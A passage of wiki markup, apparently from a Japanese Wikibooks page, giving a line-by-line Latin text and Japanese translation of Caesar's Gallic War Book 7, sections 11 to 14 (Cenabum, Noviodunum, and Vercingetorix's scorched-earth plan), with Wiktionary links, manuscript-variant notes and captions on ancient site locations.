**&lt;small&gt;（ケナブムの）&lt;/small&gt;城門を焼き打ちさせた後で、
*[[wikt:en:intromittit|intromittit]] atque oppido [[wikt:en:potitur|potitur]], 
**&lt;small&gt;（軍団を）&lt;/small&gt;送り込み、城塞都市を占領させて、
*[[wikt:en:perpaucus#Latin|perpaucis]] ex hostium numero [[wikt:en:desideratus#Latin|desideratis]] [[wikt:en:quin#Latin|quin]] [[wikt:en:cunctus#Latin|cuncti]] [[wikt:en:caperentur#Etymology_1|caperentur]], 
**敵のうちからわずかな数を取り逃がしたが、むしろ皆がことごとく捕らえられた。
*quod [[wikt:en:pons#Latin|pontis]] atque [[wikt:en:iter#Latin|itinerum]] [[wikt:en:angustia#Latin|angustiae]] &lt;u&gt;multitudinis&lt;/u&gt; fugam [[wikt:en:intercluserant|intercluserant]]. 
**──というのは、橋や道の狭さが、大勢の逃亡をさえぎったからである。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:multitudinis|multitudinis]]&lt;sub&gt;&amp;nbsp;(単数･属格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:multitudini|multitudini]]&lt;sub&gt;&amp;nbsp;(単数･与格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサル勢がケナブムを略奪・焼き討ち。リゲル川を渡ってビトゥリゲース族領へ達する
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Oppidum [[wikt:en:diripit|diripit]] atque [[wikt:en:incendit|incendit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;城塞都市を略奪し、焼き討ちして、
*[[wikt:en:praeda#Latin|praedam]] militibus [[wikt:en:donat#Latin|donat]], 
**略奪品を兵士たちに与える。
*[[wikt:en:exercitus#Noun|exercitum]] &lt;u&gt;Ligerem&lt;/u&gt; [[wikt:en:traducit|traducit]] 
***軍隊にリゲル川を渡らせて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:Ligerem|Ligerem]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では Ligerim となっている。）&lt;/span&gt;
*atque in [[wikt:en:Bituriges#Latin|Biturigum]] fines [[wikt:en:pervenit#Etymology_1|pervenit]].
*ビトゥリゲース族の領土に到達する。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===12節===
[[画像:Sancerre.jpg|thumb|right|250px|ビトゥリゲース族の城塞都市があったと考えられる[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）の街並み。カエサルがケナブム（現[[w:オルレアン|オルレアン]]）からリゲル川（現[[w:ロワール川|ロワール川]]）沿いに当初の目的地であったゴルゴビナへ向かい、後にアウァーリクム（現[[w:ブールジュ|ブールジュ]]）へ右折したと見なせば、この地がノウィオドゥーヌムであったとも考えられる。街の名 Sancerre の意味が「カエサルに捧げられた」であるという説もある。現在は[[w:ロワールワイン|ロワールワイン]]の産地として有名で、辛口の白ワインなどの銘柄「Sancerre」にもなっている。]]
[[画像:Neung-sur-Beuvron_église_Saint-Denis_1.jpg|thumb|right|250px|城塞都市ノウィオドゥーヌム（Noviodunum）の所在地として現在有力視されている[[w:ロワール＝エ＝シェール県|ロワール＝エ＝シェール県]]のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）のサン＝ドニ教会。カエサルは当初の目的地であったボイイー族のゴルゴビナへは真っ直ぐ向かわずに大きく迂回しており、ケナブム（現[[w:オルレアン|オルレアン]]）の南方約45kmにあるこの地点（Beuvron川沿いのNeung）がノウィオドゥーヌムであると推定されている。上空からは、ガッリア時代の城塞都市跡の輪郭が見て取れるという。しかしながら、ボイイ族からは遠い位置にある。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/12節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;ビトゥリゲース族のノウィオドゥーヌムを降すが、敵の騎兵が来援
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], ubi de Caesaris [[wikt:en:adventus#Latin|adventu]] [[wikt:en:cognovit#Latin|cognovit]],  
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルの到来について知るや否や、
*[[wikt:en:oppugnatio#Latin|oppugnatione]] &lt;u&gt;destitit&lt;/u&gt; 
**&lt;small&gt;（ボイイー族の城塞都市ゴルゴビナの）&lt;/small&gt;攻略を取り止めて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では [[wikt:en:destitit|destitit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　&amp;beta;系写本や印刷本では [[wikt:en:desistit#Latin|desistit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*atque [[wikt:en:obviam#Adverb|obviam]] Caesari [[wikt:en:proficiscitur|proficiscitur]]. 
**カエサルの方に向かって進発する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ille oppidum [[wikt:en:Biturigēs|Biturigum]] [[wikt:en:positus#Latin|positum]] in via [[wikt:en:Noviodunum#Latin|Noviodunum]] [[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituerat|instituerat]]. 
**彼&lt;small&gt;〔カエサル〕&lt;/small&gt;は、途中に位置しているビトゥリゲース族の[[w:オッピドゥム|城塞都市]]ノウィオドゥーヌムの攻略を決めていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：どこへの途中なのか明記されていないため、その解釈により場所についての解釈が変わるようである。）&lt;/span&gt;
:　
;　　　カエサルの城塞都市ノウィオドゥーヌムへの降伏条件
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] ex oppido 
**その城塞都市から
*cum legati ad eum [[wikt:en:venissent|venissent]] [[wikt:en:oratum#Verb|oratum]] ut sibi [[wikt:en:ignosceret|ignosceret]] suaeque vitae [[wikt:en:consuleret|consuleret]], 
**使節たちが彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ、自分たちを容赦して生命を助けるように嘆願するために、やって来たときに、
*ut celeritate reliquas res [[wikt:en:conficeret|conficeret]], [[wikt:en:qui#Determiner|qua]] [[wikt:en:pleraque#Latin|pleraque]] erat [[wikt:en:consecutus#Latin|consecutus]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;多くのことを実行してきた迅速さによって、ほかの事を成し遂げるために、
*arma [[wikt:en:conferri|conferri]], 
**武具が運び集められること、
*[[wikt:en:quus#Latin|equos]] [[wikt:en:produci#Verb_2|produci]], 
**馬匹が引き渡されること、
*obsides [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**人質が供出されること、を命じる。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Parte iam obsidum [[wikt:en:traditus#Participle|tradita]], 
**すでに人質の一部が移送されて、
*cum [[wikt:en:reliqua#Latin|reliqua]] [[wikt:en:administrarentur|administrarentur]], 
**残り&lt;small&gt;（の人質たち）&lt;/small&gt;が処置されていたときに、
*[[wikt:en:centurio#Latin|centurionibus]] et paucis [[wikt:en:miles#Latin|militibus]] [[wikt:en:intromissus#Latin|intromissis]], qui arma [[wikt:en:iumentum#Latin|iumenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:conquirerent|conquirerent]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや若干の兵士たちが、武器や[[w:使役動物|役畜]]を探し集めるべく&lt;small&gt;（城塞都市の中に）&lt;/small&gt;送り込まれていたのだが、
*[[wikt:en:equitatus#Noun|equitatus]] hostium procul [[wikt:en:visus#Latin|visus]] est, qui [[wikt:en:agmen#Latin|agmen]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:antecesserat|antecesserat]]. 
**ウェルキンゲトリークスの隊列に先行していた敵の[[w:騎兵|騎兵隊]]が遠くに望見された。
:　
;　　　ウェルキンゲトリークスの来援に気づいた城塞の者たちが、籠城に転じる
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quem [[wikt:en:simulatque|simulatque]] [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:conspexerunt|conspexerunt]] atque in [[wikt:en:spes#Latin|spem]] [[wikt:en:auxilium#Latin|auxilii]] [[wikt:en:venerunt|venerunt]], 
**それ&lt;small&gt;&lt;/small&gt;を城塞都市の者たちが視認して、救援の希望を抱くや否や、
*[[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Etymology_1|sublato]] 
**雄叫びを上げて、
*arma capere, 
**武具を取ること、
*portas [[wikt:en:claudere#Etymology_1|claudere]], 
**城門を閉じること、
*[[wikt:en:murus#Latin|murum]] [[wikt:en:complere|complere]] [[wikt:en:coeperunt|coeperunt]]. 
**城壁を&lt;small&gt;（兵で）&lt;/small&gt;満たすこと、を始めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sublato は　[[wikt:en:tollo|tollo]] の分詞）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　城塞民たちの心変わりに感づいたローマ人の将兵たちが城外に撤収する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:centurio#Latin|Centuriones]] in oppido, 
**城塞都市の中の&lt;small&gt;（カエサルの配下の）&lt;/small&gt;百人隊長たちは、
*cum ex [[wikt:en:significatio#Latin|significatione]] Gallorum [[wikt:en:novus#Latin|novi]] [[wikt:en:aliquis#Latin|aliquid]] ab iis [[wikt:en:iniri#Latin|iniri]] consilii [[wikt:en:intellexissent|intellexissent]], 
**ガッリア人たちの兆候から、彼らによる何らかの新たな謀りごとが始められていると察知していたので、
*[[wikt:en:gladius#Latin|gladiis]] [[wikt:en:destrictus#Latin|destrictis]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を抜いて、
*portas [[wikt:en:occupaverunt|occupaverunt]] 
**城門を占拠して、
*suosque omnes [[wikt:en:incolumis#Latin|incolumes]] [[wikt:en:receperunt|receperunt]].
**配下たち皆を無傷なままで退却させた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===13節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/13節]]　{{進捗|00%|2026-02-15}}&lt;/span&gt;
[[画像:Caesar's_campaign_to_Noviodunum_in_52BC.png|thumb|right|250px|ノウィオドゥーヌムに至るカエサルの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルはアゲディンクムを発してからウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムを続けて降し、ボイイー族のゴルゴビナ攻略を諦めたウェルキンゲトリークスもノウィオドゥーヌム来援に駆けつけて来た。ここに、初めて両軍が騎兵戦で激突することになった。]]

;同盟軍の騎兵を撃退、城塞都市を再び降して、アウァーリクム攻めに向かう
:　
;　　　カエサルが、騎兵戦の切り札としてゲルマーニア騎兵を繰り出す
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex castris [[wikt:en:equitatus#Latin|equitatum]] [[wikt:en:educi#Latin|educi]] [[wikt:en:iubet#Latin|iubet]], 
**カエサルは、陣営から[[w:騎兵|騎兵隊]]を進発させることを命じて、
*&lt;u&gt;[[wikt:en:proelium#Latin|proelium]]&lt;/u&gt; [[wikt:en:equester#Latin|equestre]] [[wikt:en:committit|committit]]; 
**&lt;small&gt;（ウェルキンゲトリークス勢と）&lt;/small&gt;騎兵戦を交える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では proelium だが、&lt;br&gt;　　　　　&amp;beta;系写本では proelium&lt;u&gt;que&lt;/u&gt; となっている。）&lt;/span&gt;
*[[wikt:en:laborans#Latin|laborantibus]] iam suis 
**配下の者たちがすでに苦戦していたときに、
*[[wikt:en:Germanus#Adjective|Germanos]] [[wikt:en:eques#Latin|equites]] circiter CCCC([[wikt:en:quadringentos|quadringentos]]) [[wikt:en:submittit|submittit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ゲルマニア|ゲルマーニア]]人の騎兵たち約400騎を救援に派遣する。
*quos ab [[wikt:en:initium#Latin|initio]] &lt;u&gt;habere [[wikt:en:secum#Latin|secum]]&lt;/u&gt; [[wikt:en:instituerat|instituerat]]. 
**その者らは&lt;small&gt;（戦いの）&lt;/small&gt;当初から自分のそばに保持すると決めていたものであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;chi;系･B･M･S写本では habere secum だが、&lt;br&gt;　　　　　&amp;beta;系･L･N写本では secum habere となっている。）&lt;/span&gt;
:　
;　　　ゲルマーニア騎兵が、ウェルキンゲトリークス配下の騎兵を一蹴する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eorum [[wikt:en:impetus#Latin|impetum]] [[wikt:en:Galli#Latin|Galli]] [[wikt:en:sustineo#Latin|sustinere]] non [[wikt:en:potuerunt|potuerunt]] 
**彼ら&lt;small&gt;〔ゲルマーニア人騎兵〕&lt;/small&gt;の突撃に&lt;small&gt;（敵側の）&lt;/small&gt;ガッリア人たちは持ちこたえることができず、
*atque in fugam [[wikt:en:coniectus#Participle|coniecti]] 
**敗走に追いやられて、
*multis [[wikt:en:amissus#Latin|amissis]] 
**大勢の者を失い、
*se ad [[wikt:en:agmen#Latin|agmen]] [[wikt:en:receperunt|receperunt]]. 
**&lt;small&gt;（後方にいたウェルキンゲトリークスの）&lt;/small&gt;隊列に退却した。
:　
;　　　城塞都市ノウィオドゥーヌムがカエサルの軍門に降る
*Quibus [[wikt:en:profligatus#Latin|profligatis]], 
**彼ら&lt;small&gt;〔ウェルキンゲトリークスの騎兵隊〕&lt;/small&gt;が制圧されると、
*rursus [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:perterritus#Latin|perterriti]] 
**[[w:オッピドゥム|城塞都市]]&lt;small&gt;〔ノウィオドゥーヌム〕&lt;/small&gt;の者たちは再び怖れをなして、
*[[wikt:en:comprehensus#Latin|comprehensos]] eos, quorum [[wikt:en:opera#Latin|opera]] [[wikt:en:plebs#Latin|plebem]] [[wikt:en:concitatus#Latin|concitatam]] [[wikt:en:existimabant|existimabant]], 
**その働きかけによって民衆を扇動したと&lt;small&gt;（城塞の民が）&lt;/small&gt;考えていたところの者たちを拘束して、
*ad Caesarem [[wikt:en:perduxerunt|perduxerunt]] 
**カエサルのもとへ連行して、
*seseque ei [[wikt:en:dediderunt|dediderunt]]. 
**自分たちも彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に降伏した。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサルが、ビトゥリゲース族の城塞都市アウァーリクムを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus rebus [[wikt:en:confectus#Latin|confectis]], 
**それらの事が成し遂げられると、
*Caesar ad oppidum [[wikt:en:Avaricum#Latin|Avaricum]], 
**カエサルは、[[w:オッピドゥム|城塞都市]]アウァーリクムへ、
*quod erat [[wikt:en:maximus#Latin|maximum]] [[wikt:en:munitissimus#Latin|munitissimum]]&lt;nowiki&gt;que&lt;/nowiki&gt; in finibus [[wikt:en:Bituriges#Latin|Biturigum]] atque [[wikt:en:ager#Latin|agri]] [[wikt:en:fertilissimus#Latin|fertilissima]] [[wikt:en:regio#Latin|regione]], 
**──それはビトゥリゲース族の領土で耕地の最も肥沃な地方にあり、最大かつ最も要塞化されていたが、──
*[[wikt:en:profectus#Etymology_3|profectus]] est, 
**&lt;small&gt;（そこへ）&lt;/small&gt;出発した。
*quod eo oppido [[wikt:en:receptus#Latin|recepto]] 
**──というのは、その城塞都市を獲得することで、
*[[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Bituriges#Latin|Biturigum]] se in [[wikt:en:potestas#Latin|potestatem]] [[wikt:en:redacturus#Latin|redacturum]] [[wikt:en:confidebat|confidebat]].
**ビトゥリゲースの部族国家を&lt;small&gt;（カエサルの）&lt;/small&gt;隷下に引き戻すであろうと、確信していたからである──。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==アウァーリクム攻略戦==
===14節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/14節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;
;ウェルキンゲトリークスが兵站妨害と焦土戦術を決断
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] tot [[wikt:en:continuus#Latin|continuis]] [[wikt:en:incommodum#Latin|incommodis]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], [[wikt:en:Genabum#Latin|Cenabi]], [[wikt:en:Noviodunum#Latin|Novioduni]] [[wikt:en:acceptus#Latin|acceptis]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムと、このような多くの引き続く敗北をこうむると、
*suos ad [[wikt:en:concilium#Latin|concilium]] [[wikt:en:convocat#Latin|convocat]]. 
**麾下の者たちを会合へ召集する。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ローマ勢の糧道を断つことを提言
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:docet|Docet]] longe alia ratione esse bellum [[wikt:en:gerendus#Latin|gerendum]] atque antea [[wikt:en:gestus#Participle|gestum]] sit. 
**以前に遂行されていたのとはまったく別の作戦で戦争が遂行されるべきである、と説く。
*Omnibus [[wikt:en:modus#Latin|modis]] huic rei studendum, ut [[wikt:en:pabulatio#Latin|pabulatione]] et [[wikt:en:commeatus#Noun|commeatu]] Romani [[wikt:en:prohibeantur|prohibeantur]]. 
**ローマ人たちが[[w:糧秣|糧秣]]徴発と物資輸送を妨げられるべく、この事をあらゆる方法で追求するべきだ。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Id esse facile, 
**そのことは、容易である。
*quod [[wikt:en:equitatus#Latin|equitatu]] ipsi [[wikt:en:abundent#Latin|abundent]] 
**というのは&lt;small&gt;（我々ガッリア勢）&lt;/small&gt;自身は[[w:騎兵|騎兵隊]]がたくさんおり、
*et quod anni tempore [[wikt:en:subleventur|subleventur]]. 
**&lt;small&gt;（冬という）&lt;/small&gt;時季に支えられているのだから。
:　
;　　　ローマ人が穀物倉に群がるところを騎兵で襲撃するべし
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:pabulum#Latin|Pabulum]] [[wikt:en:secari|secari]] non posse; 
**&lt;small&gt;（この時季には）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:秣|秣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;まぐさ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; は刈り取られることができない。
*[[wikt:en:necessario#Adverb|necessario]] [[wikt:en:dispersus#Latin|dispersos]] hostes ex [[wikt:en:aedificium#Latin|aedificiis]] [[wikt:en:petere|petere]]; 
**敵たち&lt;small&gt;〔ローマ勢〕&lt;/small&gt;はやむなく分散して、家屋から&lt;small&gt;（糧秣を）&lt;/small&gt;求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ほとんどの会話が間接話法を採る本書で、&lt;br&gt;　　　　ローマ勢が「敵」hostes と表現されることは極めてまれである。）&lt;/span&gt;
*hos omnes [[wikt:en:cotidie#Latin|cotidie]] ab [[wikt:en:eques#Latin|equitibus]] &lt;u&gt;deleri&lt;/u&gt; posse. 
**これら皆を日々に&lt;small&gt;（ガッリア側の）&lt;/small&gt;騎兵隊によって壊滅させることができる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:deleri|deleri]]「滅ぼされる」だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:diligi#Latin|diligi]]「分断される」となっている。）&lt;/span&gt;
:　
;　　　焦土戦術をもって、ローマ人と軍馬を飢えさせるべし
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Praeterea [[wikt:en:salus#Latin|salutis]] causa rei [[wikt:en:familiaris#Adjective|familiaris]] [[wikt:en:commodum#Latin|commoda]] [[wikt:en:neglegendus#Latin|neglegenda]]; 
**さらに&lt;small&gt;（同盟諸部族に共通の）&lt;/small&gt;安全のために、私有資産の利益はなおざりにされるべきだ。
*[[wikt:en:vicus#Latin|vicos]] atque [[wikt:en:aedificium#Latin|aedificia]] [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]] 
**&lt;small&gt;（以下のような領域の）&lt;/small&gt;村々や建物は焼かれるべきだ。
*hoc spatio ab Boia quoque versus, quo [[wikt:en:pabulandi#Verb|pabulandi]] causa [[wikt:en:adire#Latin|adire]] posse [[wikt:en:videantur|videantur]]. 
**[[w:ボイイ族|ボイイー族]]のところから四方八方へ糧秣徴発するために赴くことができると思われる領域では。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：主要写本&amp;omega; にある ab Boia「ボイイー族のところから」は、&lt;br&gt;　　　　現代では「街道から」ab via と修正読みされることが多い。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quoque#Latin|quōque]] [[wikt:en:versus#Adverb|versus]] ＝ [[wikt:en:quisque#Latin|quōquō]] versus「あらゆる方向へ」）&lt;/span&gt;
[[画像:Eglise_saint_parize_le_chatel.jpg|thumb|right|250px|ボイイ族（Boii）の領内であったと思われる現在のサン＝パリーズ＝ル＝シャテルの教会。ボイイー族の首邑ゴルゴビナは、[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリーズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）あるいは[[w:シェール県|シェール県]]のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にあったと推定されている。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Harum ipsis rerum copiam [[wikt:en:suppeto#Latin|suppetere]], 
**&lt;small&gt;（ガッリア勢）&lt;/small&gt;自身には、これらの物は、豊富に貯えてある。
*quod quorum in finibus bellum [[wikt:en:geratur|geratur]], eorum [[wikt:en:ops#Noun_4|opibus]] [[wikt:en:subleventur|subleventur]]; 
**──というのは、戦争が遂行される領土内の者たちの、彼らの助力に支えられているからだ。──
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Romanos &lt;u&gt;aut&lt;/u&gt; [[wikt:en:inopia#Latin|inopiam]] non [[wikt:en:laturus#Latin|laturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**ローマ人たちは、あるいは&lt;small&gt;（糧食の）&lt;/small&gt;欠乏に耐えられないであろうし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:aut#Latin|aut]] ～ aut …「あるいは～あるいは…」）&lt;/span&gt;
*&lt;u&gt;aut&lt;/u&gt; magno &lt;u&gt;cum&lt;/u&gt; periculo longius &lt;u&gt;ab&lt;/u&gt; castris [[wikt:en:processurus#Latin|processuros]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;; 
**あるいは大きな危険とともに陣営からより遠くに進み出るであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：cum は、&amp;rho;系写本・写本Tの記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本・写本Vにはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は、&amp;alpha;系・&amp;rho;系写本・写本Vの記述で、写本Tでは a となっている。）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; neque [[wikt:en:interesse#Latin|interesse]], ipsos&lt;u&gt;ne&lt;/u&gt; [[wikt:en:interficiant|interficiant]], [[wikt:en:impedimentum#Latin|impedimentis]]&lt;u&gt;&lt;nowiki&gt;ne&lt;/nowiki&gt;&lt;/u&gt; [[wikt:en:exuant|exuant]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;当人たちを殺戮するか、輜重を奪い取るか、&lt;small&gt;（どちらであろうが）&lt;/small&gt;違いはない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] は疑問小辞。～ -ne, … -ne 「～か、…か」）&lt;/span&gt;
*quibus [[wikt:en:amissus#Latin|amissis]] bellum [[wikt:en:geri#Latin|geri]] non [[wikt:en:possit|possit]]. 
**それら&lt;small&gt;〔輜重〕&lt;/small&gt;を失えば、戦争を遂行することができないのだから。
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Praeterea oppida [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]], 
**さらに、&lt;small&gt;（以下のような）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]は焼かれなければならない。
*quae non [[wikt:en:munitio#Latin|munitione]] et loci natura &lt;u&gt;ab omni&lt;/u&gt; sint &lt;u&gt;periculo&lt;/u&gt; [[wikt:en:tutus#Latin|tuta]], 
**防塁や地勢によってあらゆる危険から守られていない&lt;small&gt;（城塞都市は）&lt;/small&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab [[wikt:en:omni#Latin|omni]] [[wikt:en:periculum#Latin|periculo]] 「あらゆる危険から」）&lt;/span&gt;
*&lt;u&gt;neu&lt;/u&gt; suis sint ad &lt;u&gt;detrectandam&lt;/u&gt; [[wikt:en:militia#Latin|militiam]] [[wikt:en:receptaculum#Latin|receptacula]] 
**麾下の者たちにとっては&lt;small&gt;（城塞都市が）&lt;/small&gt;[[w:兵役逃れ|兵役を忌避すること]]のための隠れ場所になることがないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:neu#Latin|neu]] は &amp;alpha;系写本の記述で、&amp;beta;系写本では [[wikt:en:ne#Latin|ne]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:detrectandam|detrectandam]] は &amp;alpha;系・&amp;rho;系写本の表記で、&amp;pi;系写本では [[wikt:en:detractandam|detractandam]] となっている。）&lt;/span&gt;
*neu [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:propositus#Latin|proposita]] ad [[wikt:en:copia#Latin|copiam]] [[wikt:en:commeatus#Noun|commeatus]] [[wikt:en:praeda#Latin|praedam]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tollendus#Latin|tollendam]], 
**ローマ人たちにとって&lt;small&gt;（城塞都市が）&lt;/small&gt;豊富な物資や戦利品を奪うための置き場所ともならないように。
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Haec si [[wikt:en:gravis#Latin|gravia]] aut [[wikt:en:acerbus#Latin|acerba]] [[wikt:en:videantur|videantur]], 
**もし、これら&lt;small&gt;（の作戦）&lt;/small&gt;が厳しい、または苦しいと見えるとしても、
*multo illa [[wikt:en:graviter#Latin|gravius]] &lt;u&gt;aestimare&lt;/u&gt;, [[wikt:en:liber#Noun_6|liberos]], [[wikt:en:coniunx#Latin|coniuges]] in [[wikt:en:servitus#Latin|servitutem]] [[wikt:en:abstrahi|abstrahi]], ipsos [[wikt:en:interfici|interfici]]; 
**それより、子供や配偶者たちが奴隷状態で連れ去られ、自身が殺されることの方が、はるかに厳しいと判断されるべきだ。
